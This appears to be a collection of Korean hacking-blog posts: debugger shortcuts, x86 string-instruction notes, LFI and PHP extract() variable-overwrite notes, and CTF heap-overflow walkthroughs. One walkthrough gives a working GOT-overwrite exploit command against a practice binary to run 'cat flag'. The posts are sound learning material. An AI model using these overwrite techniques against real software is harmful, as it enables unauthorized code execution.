ctrl + F2 : 다시 처음부터 디버깅

F7 : 하나의 OP code 실행(call 명령을 따라 함수코드 내부로 들어감)

F8 : 하나의 OP code 실행(call 명령을 따라 함수코드 내부로 들어가지 않음)

ctrl + F9 : 함수코드 내에서 탈출

ctrl + G : 원하는 주소로 이동

F4 : 커서 위치까지 실행

';' : comment 추가

':' : label 추가

F2 : break point 설정/해제

alt + B : break point 목록 보기

F9 : 실행, BP가 걸려있는 곳까지 실행

'*' : 현재 EIP의 위치를 보여줌

'-' : 직전 커서 위치를 다시 보여줌

enter : 커서가 call/jmp 등의 명령어에 위치해 있다면 해당 주소를 따라가서 보여줌

alt + C : 위치한 함수에서 빠져나오기

ctrl + A : 코드를 명확하게 다시 재생성


ctrl + F7 : step into 명령 반복(화면 표시 됨)

ctrl + F8 : step over 명령 반복(화면 표시 됨) 

ctrl + F11 : step into 명령 반복(화면 표시 안됨)

ctrl + F12 : step over 명령 반복(화면 표시 안됨)

'HACKING > Reversing' 카테고리의 다른 글

IDA 코드 패치 후 elf 저장하는 방법  (0) 2019.08.14
ida 사용법  (0) 2018.01.28
어세블리어 REP, STOS, MOVS  (0) 2018.01.14

- STOS

EDI역참조 한 곳에 EAX값을 복사한다.

그리고 복사한 만큼 EDI가 증가한다.

주로, 연속된 메모리 공간을 초기화할때 쓴다. 

혼자서는 사용이 안되며 REP와 함께 초기화에 사용한다.

오퍼랜드가 한 개이며 반드시 메모리가 온다.


- MOVS

문자열을 복사한다.

ESI역참조 한 내용을 EDI 역참조 한 곳에 복사한다.

읽고/쓰기 한 만큼 ESI/EDI가 증가한다.

특이하게도 mem, mem간의 연산이 가능하다.


- REP

STOS, MOVS 만 반복시켜준다.

ECX가 0보다 큰 동안에 해당 명령어를 반복시킨다. 

한 번 반복시마다 ECX가 1씩 감소한다.

STOS, MOVS외의 다른 명령어들은 REP에 영향을 받지 않는다.

이외의 다른 명령어들은 JMP를 이용해서 반복한다.


'HACKING > Reversing' 카테고리의 다른 글

IDA 코드 패치 후 elf 저장하는 방법  (0) 2019.08.14
ida 사용법  (0) 2018.01.28
OllyDBG 단축키 모음  (0) 2018.01.14

LFI취약점에 대한 php wrapper

https://www.cdxy.me/?p=752

'HACKING > Web hacking' 카테고리의 다른 글

SQL injection msql.innodb_table_stats  (0) 2018.02.24
sql injection 참고  (0) 2018.02.10
Knowing about Local File Inclusion(LFI)  (0) 2017.11.14
php extract 취약점  (3) 2017.08.09
error based sql injection cheat sheet  (0) 2017.04.20

시스템 문제를 풀다가 알게된 것


GDB에서 b *main과 b main의 차이점

1. b *main은 main함수가 시작하기 직전의 위치


2. b main 은 main함수의 내부 스택프레임이 모두 형성되고 나서 함수에 쓰기위한 지역변수들의 자리를 확보하기 바로 "직전"의 위치


'HACKING > System hacking' 카테고리의 다른 글

GOT Overwrite  (0) 2018.02.24
CTF pwn 문제용 nc 서버 만들기  (0) 2018.02.15
heapoverflow 문제 풀이3  (0) 2016.11.05
heap overflow 문제풀이2  (0) 2016.11.02
heap overflow 문제 풀이  (0) 2016.11.01

PHP Remote Code Execution 이 가능한 상황.pdf


문서 다운 받아서 보기

Ref : cfile5.uf.tistory.com/attach/213EE84355589F662024DD

'HACKING > 취약점정리' 카테고리의 다른 글

RFI - Remote File Inclusion 취약점  (0) 2016.07.06
php md5(string $str ,true)를 이용한 injection  (0) 2016.07.03
PHP:MD5  (0) 2016.07.01
Magic Hashes  (0) 2016.07.01
sql injection 필터링 우회  (0) 2016.02.14

Knowing about LFI.txt




##################################################

#                                                                                    #   

#                                                                                    #                                                

#     Knowing about LFI(Local File Inclusion)                       # 

#                                                                                    #

#                                                                                    #

##################################################


[INFOS]------------------------------------------------------------------------


Title: Knowing All about LFI

Author: xer0s(kim_jey_gon@nate.com)

Date: 2013-02-10

Website: http://xer0s.tistory.com


-------------------------------------------------------------------------------


[CONTENTS]---------------------------------------------------------------------


  0x01: Introduction

  0x02: Finding LFI Vulnerability

  0x03: LFI via /proc/self/environ

  0x04: LFI via Log files

  0x05: Using PHP Wrappers

  0x06: Conclusion

 

-------------------------------------------------------------------------------


[0x01: Introduction]-----------------------------------------------------------


안녕하세요 여러분. LeaveRet 보안팀 소속 xer0s입니다. 이 문서를 통해 저는 LFI와 관련된 

여러 흥미로운 내용들을 다뤄볼려 합니다. 이 문서는 국내에 몇 안되는 LFI문서와 더불어 

여러분들의 LFI에 대한 이해를 도와줄 것 입니다.


제가 실력이 좋다거나 LFI에 관해서 오래 연구를 한건 아닙니다. 제가 이 문서에서 

언급하는 내용들이 이미 오래된 내용일수도 있구요. 문서에 관하여 지적해주실 내용이나

궁금하신것들은 위에 제 네이트온으로 친추 걸어주시고 쪽지 남겨주시면 최대한 빠르고 

정확하게 응답해드리겠습니다.


제가 아는 LFI에 관한 모든것을 이 문서에 담았으니 재밌게 읽어주시길 바라겠습니다.


-------------------------------------------------------------------------------



출처: http://xer0s.tistory.com/1 [xeros]


한달 전에 있었던 삼성 CTF의 WEB 문제 중 extract 함수를 이용해 공격하는 부분이 있었다.

이때 extract라는 함수의 존재를 처음 알게 되어서 기록하고자 글을 쓴다.

extract 함수에 $_GET을 인자로 넣으면 ($_POST도 가능) GET으로 넘기는 파라미터와 값을 변수와 그 초기값으로 설정할 수 있다.

아래는 로컬에서 php코드에 extract 함수를 사용한 코드다.


처음에 test란 변수에 guest를 초기값으로 주고 이 test 변수의 값을 출력하는 간단한 코드다.

extract함수에 GET을 인자로 주고 확인해보겠다.


초기값으로 설정된 guest가 출력된다.


하지만 파라미터로 test=admin을 리퀘스트해보았다.

test란 변수에 admin이 들어간게 확인됐다.


extract 함수가 취약하지 않도록 사용되는 경우는 

변수를 선언하기 전에 extract 함수를 사용하거나, 

extract 이후에 다시 변수를 덮어쓰는 코드가 존재하면 공격에 이용되기가 어려워진다.

또한 공격자가 내부 변수명을 알아야 사용이 가능하다는 점과,

EXTR_SKIP이 옵션으로 선언 된다면 취약하지 않다.


문제 소스코드입니다.

어셈블리어와 익숙해지기 위해 gdb로 모든 코드를 분석 해 보았습니다.

분석을 토대로 중요한 부분만 캡쳐해서 올리겠습니다.


두번째 if문을 보겠습니다.

0x0804865b <+64>: push 0x5 0x0804865d <+66>: push 0x804880d 0x08048662 <+71>: lea eax,[ebp-0x80] 0x08048665 <+74>: push eax 0x08048666 <+75>: call 0x8048510 0x0804866b <+80>: add esp,0xc 0x0804866e <+83>: test eax,eax 0x08048670 <+85>: jne 0x80486be <main+163> 0x08048672 <+87>: push 0x4 0x08048674 <+89>: call 0x80484a0 <malloc@plt> 0x08048679 <+94>: add esp,0x4 0x0804867c <+97>: mov ds:0x804a068,eax 0x08048681 <+102>: mov eax,ds:0x804a068 0x08048686 <+107>: push 0x4 0x08048688 <+109>: push 0x0 0x0804868a <+111>: push eax 0x0804868b <+112>: call 0x8048500 <memset@plt> 0x08048690 <+117>: add esp,0xc 0x08048693 <+120>: lea eax,[ebp-0x80] 0x08048696 <+123>: add eax,0x5 0x08048699 <+126>: push eax 0x0804869a <+127>: call 0x80484e0 <strlen@plt> 0x0804869f <+132>: add esp,0x4 0x080486a2 <+135>: cmp eax,0x1e 0x080486a5 <+138>: ja 0x80486be <main+163> 0x080486a7 <+140>: mov eax,ds:0x804a068 0x080486ac <+145>: mov edx,eax 0x080486ae <+147>: lea eax,[ebp-0x80] 0x080486b1 <+150>: add eax,0x5 0x080486b4 <+153>: push eax 0x080486b5 <+154>: push edx 0x080486b6 <+155>: call 0x8048490 <strcpy@plt>

$ebp-0x80은 line[128]의 시작주소를 가리킵니다.

main+140 에서 0x804a068은 auth->name의 주소가 들어갑니다.

그리고 네번째 if문을 보면

0x080486e0 <+197>: add esp,0x4 0x080486e3 <+200>: push 0x6 0x080486e5 <+202>: push 0x8048819 0x080486ea <+207>: lea eax,[ebp-0x80] 0x080486ed <+210>: push eax 0x080486ee <+211>: call 0x8048510 <strncmp@plt> 0x080486f3 <+216>: add esp,0xc 0x080486f6 <+219>: test eax,eax 0x080486f8 <+221>: jne 0x804870e <main+243> 0x080486fa <+223>: lea eax,[ebp-0x80] 0x080486fd <+226>: add eax,0x7 0x08048700 <+229>: push eax 0x08048701 <+230>: call 0x8048470 <strdup@plt> 0x08048706 <+235>: add esp,0x4 0x08048709 <+238>: mov ds:0x804a06c,eax

입력된 $ebp-0x80에서 "service" 문자열 다음에 들어오는 값들을 strdup함수를 통해 포인터로 할당해줍니다. 그 값은 0x804a06c에 들어갑니다.

그리고 마지막 if문에서 else로 가지 않고 if조건을 만족시키는 방법을 보겠습니다.

0x0804870e <+243>: push 0x5 0x08048710 <+245>: push 0x8048821 0x08048715 <+250>: lea eax,[ebp-0x80] 0x08048718 <+253>: push eax 0x08048719 <+254>: call 0x8048510 <strncmp@plt> 0x0804871e <+259>: add esp,0xc 0x08048721 <+262>: test eax,eax 0x08048723 <+264>: jne 0x804875a <main+319> 0x08048725 <+266>: mov eax,ds:0x804a068 0x0804872a <+271>: mov eax,DWORD PTR [eax+0x20] 0x0804872d <+274>: test eax,eax 0x0804872f <+276>: je 0x804874d <main+306> 0x08048731 <+278>: push 0x8048827 0x08048736 <+283>: call 0x80484b0 <puts@plt> 0x0804873b <+288>: add esp,0x4 0x0804873e <+291>: push 0x8048843 0x08048743 <+296>: call 0x80484c0 <system@plt>

main+266을 보면  0x804a068의 값을 $eax에 넣습니다.

(gdb) x/4x 0x804a068
0x804a068 :	0x0804b008	0x0804b018	0x00000000	0x00000000

즉 $eax에는 0x804b008이 들어가게 되고 auth->auth 값이 있냐 없냐에 따라 분기문을 통해 결과가 나옵니다.

$eax+0x20은 0x804b028입니다. 이곳에 값을 넣어 주면 문제가 클리어 됩니다.

(gdb) x/10x 0x804b008
0x804b008:	0x41414141	0x0000000a	0x00000000	0x00000019
0x804b018:	0x41414120	0x41414141	0x41414141	0x41414141
0x804b028:	0x00000a41	0x00020fd9

strdup에 의해 생성되는 service 영역은 0x804b018부터입니다. 파일을 실행하고 input할때 service에서 더미값을 최소 16개를 주면 auth->auth에 값이 오버플로우가 됩니다.


'HACKING > System hacking' 카테고리의 다른 글

CTF pwn 문제용 nc 서버 만들기  (0) 2018.02.15
GDB BP에 관한 것  (0) 2017.11.29
heap overflow 문제풀이2  (0) 2016.11.02
heap overflow 문제 풀이  (0) 2016.11.01
BOF 원리와 문제 풀이  (0) 2016.10.26

문제 소스코드입니다. heap영역을 오버플로우 해서 winner 함수를 실행 시키면 될 것 같습니다.

gdb로 분석해보겠습니다.

(gdb) b*main+139
Breakpoint 1 at 0x80485c0
(gdb) r AAAAAAAA BBBBBBBB
Starting program: /home/heapgot/heapgot AAAAAAAA BBBBBBBB

Breakpoint 1, 0x080485c0 in main ()

argv1에 A 8개와 argv2에 B 8개를 인자로 입력하고 gdb를 돌려보겠습니다.

0x0804853b <+6>: push 0x8 i1 = malloc(8) 0x0804853d <+8>: call 0x80483c0 <malloc@plt> 0x08048542 <+13>: add esp,0x4 0x08048545 <+16>: mov DWORD PTR [ebp-0x4],eax 0x08048548 <+19>: mov eax,DWORD PTR [ebp-0x4] 0x0804854b <+22>: mov DWORD PTR [eax],0x1 //priority = 1 0x08048551 <+28>: push 0x8 0x08048553 <+30>: call 0x80483c0 <malloc@plt> //name = malloc(8) 0x08048558 <+35>: add esp,0x4 0x0804855b <+38>: mov edx,eax 0x0804855d <+40>: mov eax,DWORD PTR [ebp-0x4] 0x08048560 <+43>: mov DWORD PTR [eax+0x4],edx //i1 -> name ;-------------------------------------------------------------------------------------------- 0x08048563 <+46>: push 0x8 0x08048565 <+48>: call 0x80483c0 <malloc@plt> //i2 = malloc(8) 0x0804856a <+53>: add esp,0x4 0x0804856d <+56>: mov DWORD PTR [ebp-0x8],eax 0x08048570 <+59>: mov eax,DWORD PTR [ebp-0x8] 0x08048573 <+62>: mov DWORD PTR [eax],0x2 //priority = 2 0x08048579 <+68>: push 0x8 0x0804857b <+70>: call 0x80483c0 <malloc@plt> //name = malloc(8) 0x08048580 <+75>: add esp,0x4 0x08048583 <+78>: mov edx,eax 0x08048585 <+80>: mov eax,DWORD PTR [ebp-0x8] 0x08048588 <+83>: mov DWORD PTR [eax+0x4],edx //i2 -> name

priority의 주소는 main+22에 브레이크 포인트를 걸고 (gdb) i r $eax 를 하면 나옵니다.

아래는 두개의 strcpy() 함수에 대한 부분입니다.

0x08048596 <+97>: mov eax,DWORD PTR [eax+0x4] 0x08048599 <+100>: push edx 0x0804859a <+101>: push eax 0x0804859b <+102>: call 0x80483b0 <strcpy@plt> 0x080485a0 <+107>: add esp,0x8 0x080485a3 <+110>: mov eax,DWORD PTR [ebp+0xc] 0x080485a6 <+113>: add eax,0x8 0x080485a9 <+116>: mov edx,DWORD PTR [eax] 0x080485ab <+118>: mov eax,DWORD PTR [ebp-0x8] 0x080485ae <+121>: mov eax,DWORD PTR [eax+0x4] 0x080485b1 <+124>: push edx 0x080485b2 <+125>: push eax 0x080485b3 <+126>: call 0x80483b0 <strcpy@plt>

마지막으로 코드 마지막의 puts 함수입니다.

0x080485bb <+134>:	push   0x8048674
0x080485c0 <+139>:	call   0x80483d0 <puts@plt>

AAAAAAAA BBBBBBBB 을 인자로 입력한 후 메모리를 살펴보겠습니다. 

(gdb) x/20x 0x804b008 0x804b008: 0x00000001 0x0804b018 0x00000000 0x00000011 0x804b018: 0x41414141 0x41414141 0x00000000 0x00000011 0x804b028: 0x00000002 0x0804b038 0x00000000 0x00000011 0x804b038: 0x42424242 0x42424242 0x00000000 0x00020fc1 0x804b048: 0x00000000 0x00000000 0x00000000 0x00000000

0x804b18에 argv1이 들어갔습니다. 그리고 0x804b38에 argv2가 들어갔습니다.

그리고 위에 0x803b008에서 priority값인 1과 다음 4바이트에 argv1이 들어갈 주소가 있습니다. 마찬가지로 0x803b28도 priority값인 2와 argv2의 주소가 있습니다.

공격 벡터를 찾았습니다. strcpy함수를 이용해서 이 부분을 공격해야합니다.

익스플로잇은 argv1에 임의의 값인 A를 20바이트를 넣어서 0x804b28까지 채웁니다.

그리고 0x804b02c에는 puts 함수의 got를 넣어야 합니다. puts 함수의 got는 아래와 같이 구할 수 있습니다.

(gdb) x/i 0x80483d0
  0x80483d0 :	jmp    DWORD PTR ds:0x804a01c
(gdb) x/x 0x804a01c
0x804a01c <puts@got.plt>:	0x080483d6

그리고 argv2에는 winner 함수의 주소를 넣어줍니다. 

(gdb) p winner $2 = {<text variable, no debug info>} 0x804850b <winner>

따라서 공격 코드는 ./heapgot `python -c 'print "A"*20+"\x1c\xa0\x04\x08"+" "+"\x0b\x85\x04\x08"'`

문제가 풀릴줄 알고 코드를 입력했는데 winner함수는 실행이 되지만 segment fault가 뜨면서 cat flag는 실행하지 못합니다.

어떤 문제가 있을까 찾다가 우연히 얻어걸린 코드가 아래와 같습니다.

./heapgot `python -c 'print "A"*20+"\x1c\xa0\x04\x08"+" "+"\x0b\x85\x04\x08\xe6\x83\x04\x08"'`

추가로 system 함수의 got를 적어주면 system 함수의 "cat flag" 명령을 성공적으로 수행합니다.


'HACKING > System hacking' 카테고리의 다른 글

GDB BP에 관한 것  (0) 2017.11.29
heapoverflow 문제 풀이3  (0) 2016.11.05
heap overflow 문제 풀이  (0) 2016.11.01
BOF 원리와 문제 풀이  (0) 2016.10.26
gdb 기본 명령어  (0) 2016.07.28

+ Recent posts